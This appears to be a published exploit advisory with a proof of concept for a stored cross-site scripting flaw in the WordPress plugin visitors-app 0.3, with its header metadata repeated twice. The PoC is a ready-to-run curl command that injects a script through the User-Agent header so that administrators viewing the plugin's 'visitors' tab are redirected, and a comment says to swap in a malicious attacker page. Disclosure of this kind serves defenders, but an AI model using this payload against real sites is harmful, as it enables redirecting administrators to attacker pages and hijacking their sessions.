# Exploit Title: WordPress Plugin visitors-app 0.3 -
'user-agent' Stored Cross-Site Scripting (XSS)
# Date: 09/06/2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
# Software Link: https://wordpress.org/plugins/visitors-app/
# Version: 0.3
# Tested on: Debian GNU/Linux 10
# Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
# Date: 09/06/2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
# Software Link: https://wordpress.org/plugins/visitors-app/
# Version: 0.3
# Tested on: Debian GNU/Linux 10
# Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
## Description:
# A vulnerability in the Wordpress plugin "visitors" version 0.3
and prior allows remote attacker through
# Cross-Site Scripting (XSS) to redirect administrators and
visitors and potentially obtain sensitive informations
# The 'user-agent' parameter allows attacker to escalate their
privileges.
## PoC
# Replace google.com with malicious attacker page
curl -i http://localhost/wordpress --user-agent
"</script><script>location=([]+/http:\\google.com/g).substr(1,19);
</script>"
# on http://localhost/wordpress/wp-admin, browse the tab
"visitors"